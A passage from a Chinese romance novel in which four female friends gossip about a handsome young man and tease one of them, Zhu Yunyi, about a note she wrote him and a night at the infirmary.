许晓蓓点点头,咋舌道:“是了!那身贵公子气质简直绝了,谈吐也很好,感觉普通人家可养不出来,还有他穿的衣服虽然没有明显的品牌LOGO,但一看就贵贵的。” 顾瑶见她表情夸张,挑着眉笑道:“对人家这么感兴趣,不如你也去要联系方式?” “……那就不用了。”许晓蓓摆手,捧着心口眨眼道:“人家不过是个喜欢看热闹的小女孩罢了,才不想成为八卦焦点。” 她反过来对顾瑶说:“你行你上呗。” “我不行。”顾瑶抿了口水,哼笑:“他不是我的菜。” 许晓蓓于是又看向林知棠,后者则疯狂摆头:“我也不行,长得太帅我会怕。” 毕竟大帅哥只可远观而不可亵玩,普通人还真没有主动出击的勇气。 “那伊伊呢?” 直到被点了名,正拿着水瓶发呆的祝昀伊才匆匆回神,她眼睫微颤,轻声道:“我……我也没兴趣。” 许晓蓓见状表情暧昧地凑过来:“真的吗?” 祝昀伊不动声色地移开视线,又应了一声:“嗯。” 许晓蓓努力观察着她的表情,试图从她脸上找到一丝端倪。 祝昀伊被她看得忍不住红了脸,失笑道:“你干嘛呀。” 许晓蓓不死心地问:“我还以为你们俩有戏呢,你带他去医务室那晚真的没有发生什么吗?” 祝昀伊微微一顿,摇摇头:“没有。” 这时林知棠突然想起了什么,好奇地问:“那天去找谢大帅哥前,伊伊不是写了张纸条给他吗?你写了什么?” 许晓蓓也想起了这件事,连忙追问:“对呀,你写了什么?留下联系方式了吗?”